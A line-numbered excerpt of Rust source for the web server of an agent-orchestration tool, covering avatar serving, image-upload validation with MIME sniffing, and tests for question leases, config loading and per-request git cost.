11030 return Ok(builtin_avatar(persona::DEFAULT_ID));
11031 }
11032 let Some(icon) = icon
11033 .as_deref()
11034 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11035 else {
11036 return Ok(builtin_avatar(&wanted));
11037 };
11038 let Some(found) = found else {
11039 return Ok(raster_or_builtin(
11040 Some(icon),
11041 persona_icon::builtin_svg(&wanted),
11042 ));
11043 };
11044 match persona_icon::load(icon) {
11045 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11046 let mut res = attachment_response(mime, bytes);
11047 res.headers_mut().insert(
11048 header::CACHE_CONTROL,
11049 header::HeaderValue::from_static("no-cache"),
11050 );
11051 Ok(res)
11052 }
11053 Ok((mime, _)) => {
11054 tracing::warn!(
11055 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11056 found.id
11057 );
11058 Ok(builtin_avatar(&found.id))
11059 }
11060 Err(e) => {
11061 tracing::warn!(
11062 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11063 found.id
11064 );
11065 Ok(builtin_avatar(&found.id))
11066 }
11067 }
11068 })
11069 .await
11070}
11071
11072fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11083 if data.len() > ATTACHMENT_MAX_BYTES {
11084 return Err(ApiError::bad_request(format!(
11085 "attachment is {} bytes, over the {} MiB limit",
11086 data.len(),
11087 ATTACHMENT_MAX_BYTES / (1024 * 1024)
11088 ))
11089 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11090 }
11091 if data.is_empty() {
11092 return Err(ApiError::bad_request("attachment is empty"));
11093 }
11094 let declared = declared_mime(headers)?;
11095 match sniffed_mime(data) {
11096 Some(sniffed) if sniffed == declared => Ok(declared),
11097 Some(sniffed) => Err(ApiError::bad_request(format!(
11098 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11099 ))),
11100 None => Err(ApiError::bad_request(
11101 "the file's bytes do not match any accepted image format",
11102 )),
11103 }
11104}
11105
11106fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11110 let raw = headers
11111 .get(header::CONTENT_TYPE)
11112 .and_then(|v| v.to_str().ok())
11113 .unwrap_or("")
11114 .split(';')
11115 .next()
11116 .unwrap_or("")
11117 .trim()
11118 .to_ascii_lowercase();
11119 ATTACHMENT_MIME_WHITELIST
11120 .iter()
11121 .find(|&&m| m == raw)
11122 .copied()
11123 .ok_or_else(|| {
11124 if raw == "image/svg+xml" {
11125 ApiError::bad_request(
11126 "SVG is not accepted: it can carry active content (e.g. a <script>), \
11127 not just a picture",
11128 )
11129 } else if raw.is_empty() {
11130 ApiError::bad_request("Content-Type is required for an attachment upload")
11131 } else {
11132 ApiError::bad_request(format!(
11133 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11134 image/gif or image/webp"
11135 ))
11136 }
11137 })
11138}
11139
11140fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11143 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11144 Some("image/png")
11145 } else if data.starts_with(b"\xff\xd8\xff") {
11146 Some("image/jpeg")
11147 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11148 Some("image/gif")
11149 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11150 Some("image/webp")
11151 } else {
11152 None
11153 }
11154}
11155
11156fn filename_header(headers: &HeaderMap) -> String {
11162 headers
11163 .get(FILENAME_HEADER)
11164 .and_then(|v| v.to_str().ok())
11165 .map(str::trim)
11166 .filter(|s| !s.is_empty())
11167 .unwrap_or("attachment")
11168 .to_owned()
11169}
11170
11171fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11178 let content_type = ATTACHMENT_MIME_WHITELIST
11179 .iter()
11180 .find(|&&m| m == mime)
11181 .copied()
11182 .unwrap_or("application/octet-stream");
11183 (
11184 [
11185 (header::CONTENT_TYPE, content_type),
11186 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11187 ],
11188 body,
11189 )
11190 .into_response()
11191}
11192
11193async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11201 let repo = repo.to_path_buf();
11202 blocking(move || {
11203 let (cfg, _) = Config::discover(&repo, None)?;
11204 Ok(cfg)
11205 })
11206 .await
11207}
11208
11209fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11215 let mut hits = ids
11216 .into_iter()
11217 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11218 match (hits.next(), hits.next()) {
11219 (Some(one), None) => Ok(one),
11220 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11221 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11222 "`{prefix}` matches more than one {what}, including {a} and {b}"
11223 ))),
11224 }
11225}
11226
11227#[cfg(test)]
11228mod tests {
11229
11230 #[test]
11231 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11232 let dir = tempfile::tempdir().unwrap();
11233 let store = ask::Questions::at(dir.path().join("questions"));
11234 let mut q = Question::new(
11235 "task".to_owned(),
11236 "conduct".to_owned(),
11237 "conduct".to_owned(),
11238 "choose".to_owned(),
11239 String::new(),
11240 vec!["keep".to_owned()],
11241 );
11242 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11243 q.say("why?").unwrap();
11244 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11245 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11246 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11247 store.put(&mut q).unwrap();
11248 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11249 assert_eq!(store.count_needs_owner(), 1);
11250 store.beat(&q.id, ask::WaiterKind::Deputy);
11251 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11252 assert_eq!(store.count_needs_owner(), 0);
11253 let mut stale = store.read_lease(&q.id).unwrap();
11254 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11255 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11256 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11257 assert!(view.deputy_exhausted);
11258 assert!(view.waiting_on_agent);
11259 assert_eq!(view.question.choices, ["keep"]);
11260 store.drop_lease(&q.id);
11261 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11262 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11263 }
11264
11265 #[test]
11266 fn holder_reads_the_lease_not_the_record() {
11267 let mut q = Question::new(
11268 "run".to_owned(),
11269 "implement".to_owned(),
11270 "impl-A".to_owned(),
11271 "which?".to_owned(),
11272 String::new(),
11273 Vec::new(),
11274 );
11275 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11276 q.cwd = Some("/tmp".to_owned());
11277 assert_eq!(holder_of(&q, None), Some("nobody"));
11278 let beat = |kind, ago: i64| ask::Lease {
11279 kind,
11280 pid: 1,
11281 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11282 .unwrap(),
11283 };
11284 let fresh = beat(ask::WaiterKind::Asker, 1);
11285 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11286 let daemon = beat(ask::WaiterKind::Daemon, 1);
11287 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11288 let stale = beat(ask::WaiterKind::Asker, 3600);
11289 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11290
11291 let mut c = Question::new(
11294 "task".to_owned(),
11295 crate::conduct::NODE.to_owned(),
11296 "conduct".to_owned(),
11297 "which?".to_owned(),
11298 String::new(),
11299 Vec::new(),
11300 );
11301 assert_eq!(holder_of(&c, None), Some("nobody"));
11302 c.cwd = Some("/tmp".to_owned());
11303 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11304 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11305 let deputy = beat(ask::WaiterKind::Deputy, 1);
11306 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11307 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11308
11309 let mut r = Question::new(
11311 String::new(),
11312 crate::bump::NOTICE_NODE.to_owned(),
11313 "release-watch".to_owned(),
11314 "stuck?".to_owned(),
11315 String::new(),
11316 vec!["hold".to_owned()],
11317 );
11318 assert_eq!(holder_of(&r, None), Some("nobody"));
11319 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11320 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11321 r.deputy = None;
11323 r.seat = "bump".to_owned();
11324 assert_eq!(holder_of(&r, None), None);
11325
11326 let mut m = Question::new(
11329 "run".to_owned(),
11330 crate::land::APPROVAL_NODE.to_owned(),
11331 "land".to_owned(),
11332 "merge?".to_owned(),
11333 String::new(),
11334 Vec::new(),
11335 );
11336 assert_eq!(holder_of(&m, None), Some("nobody"));
11337 assert_eq!(
11338 holder_of(&m, Some(&fresh)),
11339 Some("asker"),
11340 "a live explicit wait is a listener even before a deputy is attached"
11341 );
11342 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11343 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11344 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11345 assert_eq!(holder_of(&m, None), Some("nobody"));
11346 }
11347
11348 fn stub_config() -> Config {
11349 Config {
11352 agents: vec![crate::config::AgentSpec {
11353 id: "stub".to_owned(),
11354 kind: AgentKind::Command,
11355 model: None,
11356 command: vec!["true".to_owned()],
11357 extra_args: Vec::new(),
11358 env: Default::default(),
11359 prompt_delivery: None,
11360 max_turn_secs: None,
11361 }],
11362 ..Config::default()
11363 }
11364 }
11365
11366 fn plain_question(seat: &str) -> Question {
11367 Question::new(
11368 String::new(),
11369 "n".to_owned(),
11370 seat.to_owned(),
11371 "s".to_owned(),
11372 String::new(),
11373 Vec::new(),
11374 )
11375 }
11376
11377 #[test]
11378 fn deputies_enabled_follows_the_config() {
11379 let on = stub_config();
11380 assert!(crate::deputy::can_start(Some(&on), ""));
11381 assert!(crate::deputy::can_start(Some(&on), "stub"));
11382 let mut off = on.clone();
11383 off.daemon.max_deputies = 0;
11384 assert!(!crate::deputy::can_start(Some(&off), ""));
11385 let mut empty = on;
11386 empty.agents.clear();
11387 assert!(!crate::deputy::can_start(Some(&empty), ""));
11388 assert!(!crate::deputy::can_start(None, ""));
11389 }
11390
11391 #[test]
11392 fn question_views_load_the_config_once() {
11393 let dir = TempDir::new().unwrap();
11394 let store = ask::Questions::at(dir.path().to_path_buf());
11395 let mut with_deputy = plain_question("b");
11396 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11397 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11398
11399 let calls = std::cell::Cell::new(0usize);
11400 let views = question_views(qs.clone(), &store, || {
11401 calls.set(calls.get() + 1);
11402 Some(stub_config())
11403 });
11404 assert_eq!(calls.get(), 1);
11405 assert_eq!(views.len(), 3);
11406 for (v, q) in views.iter().zip(&qs) {
11407 assert_eq!(
11408 v.deputies_enabled,
11409 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11410 );
11411 }
11412
11413 let views = question_views(qs, &store, || None);
11414 assert!(views.iter().all(|v| !v.deputies_enabled));
11415
11416 let calls = std::cell::Cell::new(0usize);
11417 let views = question_views(Vec::new(), &store, || {
11418 calls.set(calls.get() + 1);
11419 None
11420 });
11421 assert!(views.is_empty());
11422 assert_eq!(calls.get(), 0);
11423 }
11424
11425 use pretty_assertions::assert_eq;
11426 use serde_json::Value;
11427 use tempfile::TempDir;
11428 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11429
11430 use super::*;
11431 use crate::config::Config;
11432 use crate::queue::Source;
11433
11434 const SETTLE_STEPS: usize = 3_000;
11445
11446 struct Fixture {
11452 home: TempDir,
11453 addr: SocketAddr,
11454 }
11455
11456 impl Fixture {
11457 async fn start() -> Self {
11458 Self::with_loop(launch_idle).await
11459 }
11460
11461 async fn with_loop(launch: Launch) -> Self {
11463 let home = TempDir::new().expect("temp home");
11464 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11465 Self { home, addr }
11466 }
11467
11468 async fn with_repo(repo: PathBuf) -> Self {
11472 let home = TempDir::new().expect("temp home");
11473 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11474 Self { home, addr }
11475 }
11476
11477 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11480 let home = TempDir::new().expect("temp home");
11481 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11482 Self { home, addr }
11483 }
11484
11485 async fn serve(
11486 home: &FsPath,
11487 repo: PathBuf,
11488 launch: Launch,
11489 machine: Option<PathBuf>,
11490 ) -> SocketAddr {
11491 let queue = Queue::at(home.join("queue"));
11492 let runs = home.join("runs");
11493 std::fs::create_dir_all(&runs).expect("runs dir");
11494 let worktrees = home.join("wt").join("magi");
11495 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11496 let ui = Ui::new(
11497 queue,
11498 Questions::at(home.join("questions")),
11499 Talks::at(home.join("talks")),
11500 runs,
11501 home.to_path_buf(),
11502 repo,
11503 )
11504 .with_worktrees_root(worktrees)
11505 .with_machine_config(machine)
11506 .with_launch(launch);
11507 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11508 .await
11509 .expect("bind loopback");
11510 let addr = listener.local_addr().expect("local addr");
11511 tokio::spawn(async move {
11512 let router = ui
11513 .router()
11514 .layer(axum::middleware::from_fn(request_cost::observe));
11515 let _ = axum::serve(listener, router).await;
11516 });
11517 addr
11518 }
11519
11520 fn queue(&self) -> Queue {
11521 Queue::at(self.home.path().join("queue"))
11522 }
11523
11524 fn questions(&self) -> Questions {
11525 Questions::at(self.home.path().join("questions"))
11526 }
11527
11528 fn talks(&self) -> Talks {
11529 Talks::at(self.home.path().join("talks"))
11530 }
11531
11532 fn runs(&self) -> PathBuf {
11533 self.home.path().join("runs")
11534 }
11535
11536 async fn get(&self, path: &str) -> Res {
11537 request(self.addr, "GET", path, None).await
11538 }
11539
11540 async fn head(&self, path: &str) -> Res {
11545 request(self.addr, "HEAD", path, None).await
11546 }
11547
11548 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11549 request(self.addr, "POST", path, body).await
11550 }
11551
11552 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11553 request_with(self.addr, "GET", path, None, extra).await
11554 }
11555
11556 async fn delete(&self, path: &str) -> Res {
11557 request(self.addr, "DELETE", path, None).await
11558 }
11559
11560 async fn put(&self, path: &str, body: &str) -> Res {
11561 request(self.addr, "PUT", path, Some(body)).await
11562 }
11563
11564 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11566 request_bytes(self.addr, path, headers, body).await
11567 }
11568 }
11569
11570 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11573 let tmp = TempDir::new().unwrap();
11574 let mut repos = Vec::new();
11575 for name in ["one", "two"] {
11576 let repo = tmp.path().join(name);
11577 let origin = tmp.path().join(format!("{name}.git"));
11578 std::fs::create_dir_all(&repo).unwrap();
11579 crate::git::git(&repo, &["init", "-b", "main"])
11580 .await
11581 .unwrap();
11582 std::fs::write(
11583 repo.join("magi.toml"),
11584 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11585 )
11586 .unwrap();
11587 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11588 crate::git::git(
11589 &repo,
11590 &[
11591 "-c",
11592 "user.name=fixture",
11593 "-c",
11594 "user.email=fixture@example.invalid",
11595 "commit",
11596 "-m",
11597 "fixture",
11598 ],
11599 )
11600 .await
11601 .unwrap();
11602 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11603 .await
11604 .unwrap();
11605 crate::git::git(
11606 &repo,
11607 &["remote", "add", "origin", origin.to_str().unwrap()],
11608 )
11609 .await
11610 .unwrap();
11611 crate::git::git(&repo, &["push", "origin", "main"])
11612 .await
11613 .unwrap();
11614 crate::git::git(
11615 &repo,
11616 &[
11617 "symbolic-ref",
11618 "refs/remotes/origin/HEAD",
11619 "refs/remotes/origin/main",
11620 ],
11621 )
11622 .await
11623 .unwrap();
11624 let (cfg, _) = Config::discover(&repo, None).unwrap();
11625 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11626 repos.push(repo);
11627 }
11628 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11629 (tmp, repos)
11630 }
11631
11632 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11633 let (tmp, repos) = performance_repositories().await;
11634 let machine = tmp.path().join("machine.toml");
11635 std::fs::write(&machine, "").unwrap();
11636 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11637 (tmp, repos, fx)
11638 }
11639
11640 fn seed_performance(
11641 fx: &Fixture,
11642 repos: &[PathBuf; 2],
11643 questions: usize,
11644 runs: usize,
11645 items: usize,
11646 ) {
11647 for i in fx.questions().list().len()..questions {
11649 let mut question = Question::new(
11650 "20261001-000000-0000".into(),
11651 "implement".into(),
11652 "impl-A".into(),
11653 format!("question {i}"),
11654 "context".into(),
11655 vec!["yes".into(), "no".into()],
11656 );
11657 question.id = format!("20261003-000000-{i:04x}");
11658 fx.questions().put(&mut question).unwrap();
11659 }
11660 for i in run_ids(&fx.runs()).len()..runs {
11661 write_run_repo(
11662 &fx.runs(),
11663 &format!("20261001-000000-{i:04x}"),
11664 RunStatus::Ready,
11665 repos[i % 2].to_str().unwrap(),
11666 );
11667 }
11668 for i in fx.talks().list().len()..items {
11669 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11670 let mut talk = fx.talks().get(&id).unwrap();
11671 talk.repo = repos[i % 2].clone();
11672 fx.talks().put(&mut talk).unwrap();
11673 let mut task = crate::queue::Task::new(
11674 format!("task {i}"),
11675 "instruction".into(),
11676 repos[i % 2].clone(),
11677 crate::queue::Source::Agent {
11678 run: id,
11679 node: crate::queue::CHAT_NODE.into(),
11680 },
11681 );
11682 task.id = format!("20261004-000000-{i:04x}");
11683 fx.queue().put(&mut task).unwrap();
11684 if i < crate::notices::CAP {
11686 Notices::at(fx.home.path().join("notifications"))
11687 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11688 .unwrap();
11689 }
11690 }
11691 assert_eq!(fx.questions().list().len(), questions);
11692 assert_eq!(run_ids(&fx.runs()).len(), runs);
11693 assert_eq!(fx.talks().list().len(), items);
11694 assert_eq!(fx.queue().list().len(), items);
11695 assert_eq!(
11696 Notices::at(fx.home.path().join("notifications"))
11697 .list()
11698 .len(),
11699 items.min(crate::notices::CAP)
11700 );
11701 }
11702
11703 #[tokio::test]
11704 async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11705 let home = TempDir::new().unwrap();
11706 let root = home.path().canonicalize().unwrap();
11707 let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11708 let fx = Fixture { home, addr };
11709 let repo = root.as_path().join("archive-repo");
11710 std::fs::create_dir(&repo).unwrap();
11711 crate::git::git(&repo, &["init", "-b", "main"])
11712 .await
11713 .unwrap();
11714 crate::git::git(&repo, &["config", "user.name", "Fixture"])
11715 .await
11716 .unwrap();
11717 crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11718 .await
11719 .unwrap();
11720 crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11721 .await
11722 .unwrap();
11723 std::fs::write(repo.join("source"), "base").unwrap();
11724 crate::git::git(&repo, &["add", "."]).await.unwrap();
11725 crate::git::git(&repo, &["commit", "-m", "base"])
11726 .await
11727 .unwrap();
11728 let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11729 std::fs::write(repo.join("source"), "archived review").unwrap();
11730 crate::git::git(&repo, &["commit", "-am", "review"])
11731 .await
11732 .unwrap();
11733 let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11734 let mut config = Config::default();
11735 config.graph.worktree_root = Some(root.as_path().join("copies"));
11736 let mut state = RunState::new(
11737 repo.clone(),
11738 "main".into(),
11739 base.clone(),
11740 "archive".into(),
11741 config,
11742 );
11743 state.id = "20260101-000000-ef05".into();
11744 state.status = RunStatus::Ready;
11745 state.save_under(root.as_path()).unwrap();
11746 let evidence =
11747 crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11748 .await
11749 .unwrap();
11750 let base_evidence =
11751 crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11752 .await
11753 .unwrap();
11754 let source = state.worktree_root().join("review-1");
11755 let mut contents = std::collections::BTreeMap::new();
11756 contents.insert(
11757 repo.join("logs/HEAD"),
11758 format!("{base} {head} fixture\n").into_bytes(),
11759 );
11760 let record = serde_json::json!({
11761 "version":1, "run":state.id, "source":source, "head":head,
11762 "evidence":evidence, "admin":{}, "admin_contents":contents,
11763 "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11764 });
11765 std::fs::write(
11766 fx.runs()
11767 .join(&state.id)
11768 .join("artifacts/eviction-review-1.json"),
11769 serde_json::to_vec(&record).unwrap(),
11770 )
11771 .unwrap();
11772 std::fs::remove_dir_all(&repo).unwrap();
11773 let url = format!("/api/runs/{}/seat-evidence", state.id);
11774 let list = fx.get(&url).await;
11775 assert_eq!(list.status, 200, "{}", list.body);
11776 assert_eq!(list.json()[&head], "review-1");
11777 let patch = fx.get(&format!("{url}/{head}")).await;
11778 assert_eq!(patch.status, 200, "{}", patch.body);
11779 assert!(patch.body.contains("+archived review"));
11780 assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11781 std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11782 assert_eq!(fx.get(&url).await.status, 404);
11783 assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11784 }
11785
11786 fn request_counts(res: &Res) -> (usize, usize) {
11787 assert_eq!(res.status, 200, "{}", res.body);
11788 (
11789 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11790 res.header("x-test-git").unwrap().parse().unwrap(),
11791 )
11792 }
11793
11794 #[tokio::test]
11795 async fn list_request_cost_is_independent_of_record_count() {
11796 let (_tmp, repos, fx) = performance_fixture().await;
11797 let mut previous = None;
11798 for n in [4, 60] {
11799 seed_performance(&fx, &repos, n, n, n);
11800 let mut costs = Vec::new();
11801 for (path, discoveries) in [
11802 ("/api/questions", 1),
11803 ("/api/talks", 0),
11804 ("/api/health", 0),
11805 ("/api/stats", 1),
11806 ] {
11807 for repo in &repos {
11810 let cache = repo.join(".git/magi/config");
11811 if cache.exists() {
11812 std::fs::remove_dir_all(cache).unwrap();
11813 }
11814 }
11815 let cost = request_counts(&fx.get(path).await);
11816 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11817 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11818 assert!(
11819 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11820 "{path}: {cost:?}"
11821 );
11822 costs.push(cost);
11823 }
11824 if let Some(previous) = previous {
11825 assert_eq!(costs, previous);
11826 }
11827 previous = Some(costs);
11828 }
11829 }
11833
11834 #[tokio::test]
11837 async fn list_handler_cost_without_transport() {
11838 let (_tmp, repos) = performance_repositories().await;
11839 let fx = Fixture {
11840 home: TempDir::new().unwrap(),
11841 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11842 };
11843 let ui = Arc::new(
11844 Ui::new(
11845 fx.queue(),
11846 fx.questions(),
11847 fx.talks(),
11848 fx.runs(),
11849 fx.home.path().to_path_buf(),
11850 repos[0].clone(),
11851 )
11852 .with_worktrees_root(fx.home.path().join("wt")),
11853 );
11854 let mut previous = None;
11855 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11856 seed_performance(&fx, &repos, n, runs, items);
11857 let mut costs = Vec::new();
11858 for endpoint in ["questions", "talks", "health", "stats"] {
11859 for repo in &repos {
11860 let cache = repo.join(".git/magi/config");
11861 if cache.exists() {
11862 std::fs::remove_dir_all(cache).unwrap();
11863 }
11864 }
11865 let (_, cost) = request_cost::measure(async {
11866 match endpoint {
11867 "questions" => {
11868 let _ = questions_list(State(ui.clone())).await.unwrap();
11869 }
11870 "talks" => {
11871 let _ = talks_list(
11872 State(ui.clone()),
11873 Query(ListQuery {
11874 limit: None,
11875 ids: None,
11876 }),
11877 header::HeaderMap::new(),
11878 )
11879 .await
11880 .unwrap();
11881 }
11882 "health" => {
11883 let _ = health(State(ui.clone())).await.unwrap();
11884 }
11885 _ => {
11886 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11887 .await
11888 .unwrap();
11889 }
11890 }
11891 })
11892 .await;
11893 eprintln!("{endpoint} handler N={n}: {cost:?}");
11894 assert_eq!(
11895 cost.0,
11896 if matches!(endpoint, "talks" | "health") {
11897 0
11898 } else {
11899 1
11900 },
11901 "{endpoint}"
11902 );
11903 assert!(
11904 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11905 "{endpoint}: {cost:?}"
11906 );
11907 costs.push(cost);
11908 }
11909 if let Some(previous) = previous {
11910 assert_eq!(costs, previous);
11911 }
11912 previous = Some(costs);
11913 }
11914 }
11915
11916 #[tokio::test]
11917 async fn list_request_cost_scopes_do_not_mix() {
11918 let (_tmp, repos, fx) = performance_fixture().await;
11919 seed_performance(&fx, &repos, 10, 0, 10);
11920 let (questions, talks, notices) = tokio::join!(
11921 fx.get("/api/questions"),
11922 fx.get("/api/talks"),
11923 fx.get("/api/notifications")
11924 );
11925 assert_eq!(request_counts(&questions).0, 1);
11926 assert_eq!(request_counts(&talks), (0, 0));
11929 assert_eq!(request_counts(¬ices), (0, 0));
11930 }
11931
11932 #[tokio::test]
11933 async fn list_endpoints_large_home_responses() {
11934 check_large_home_endpoints(false).await;
11935 }
11936
11937 #[tokio::test]
11938 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11939 async fn list_endpoints_large_home_ceiling() {
11940 check_large_home_endpoints(true).await;
11941 }
11942
11943 async fn check_large_home_endpoints(timed: bool) {
11944 let (_tmp, repos, fx) = performance_fixture().await;
11945 seed_performance(&fx, &repos, 200, 300, 400);
11946 let mut failures = Vec::new();
11947 for path in [
11950 "/",
11951 "/app.js",
11952 "/app.css",
11953 "/api/questions",
11954 "/api/runs?limit=300",
11955 "/api/queue",
11956 "/api/talks",
11957 "/api/notifications",
11958 "/api/health",
11959 "/api/stats",
11960 "/api/loop",
11961 "/api/settings",
11962 "/api/repos",
11963 ] {
11964 let start = std::time::Instant::now();
11965 let result = if timed {
11966 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11967 } else {
11968 Ok(fx.get(path).await)
11969 };
11970 let elapsed = start.elapsed();
11971 eprintln!("{path}: {elapsed:?}");
11972 match result {
11973 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11974 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11975 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11976 }
11977 }
11978 assert!(failures.is_empty(), "{}", failures.join("\n"));
11979 }
11980
11981 struct Res {
11982 status: u16,
11983 headers: String,
11984 head: String,
11989 body: String,
11990 bytes: Vec<u8>,
11994 }
11995
11996 impl Res {
11997 fn json(&self) -> Value {
11998 serde_json::from_str(&self.body)
11999 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12000 }
12001
12002 fn header(&self, name: &str) -> Option<&str> {
12004 self.head.lines().find_map(|line| {
12005 let (key, value) = line.split_once(':')?;
12006 key.trim()
12007 .eq_ignore_ascii_case(name)
12008 .then(|| value.trim_start().trim_end_matches('\r'))
12009 })
12010 }
12011 }
12012
12013 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12016 request_with(addr, method, path, body, &[]).await
12017 }
12018
12019 async fn request_with(
12023 addr: SocketAddr,
12024 method: &str,
12025 path: &str,
12026 body: Option<&str>,
12027 extra: &[(&str, &str)],
12028 ) -> Res {
12029 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12030 for (name, value) in extra {
12031 head.push_str(&format!("{name}: {value}\r\n"));
12032 }
12033 if let Some(body) = body {
12034 head.push_str("Content-Type: application/json\r\n");
12035 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12036 }
12037 head.push_str("\r\n");
12038 if let Some(body) = body {
12039 head.push_str(body);
12040 }
12041 let mut socket = tokio::net::TcpStream::connect(addr)
12042 .await
12043 .expect("connect to the test server");
12044 socket
12045 .write_all(head.as_bytes())
12046 .await
12047 .expect("write request");
12048 let mut raw = Vec::new();
12049 socket.read_to_end(&mut raw).await.expect("read response");
12050 let split = raw
12053 .windows(4)
12054 .position(|w| w == b"\r\n\r\n")
12055 .expect("a header block");
12056 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12057 let bytes = raw[split + 4..].to_vec();
12058 let status = head
12059 .lines()
12060 .next()
12061 .and_then(|line| line.split_whitespace().nth(1))
12062 .and_then(|code| code.parse().ok())
12063 .expect("a status line");
12064 Res {
12065 status,
12066 headers: head.to_lowercase(),
12067 head,
12068 body: String::from_utf8_lossy(&bytes).into_owned(),
12069 bytes,
12070 }
12071 }
12072
12073 async fn request_bytes(
12079 addr: SocketAddr,
12080 path: &str,
12081 headers: &[(&str, &str)],
12082 body: &[u8],
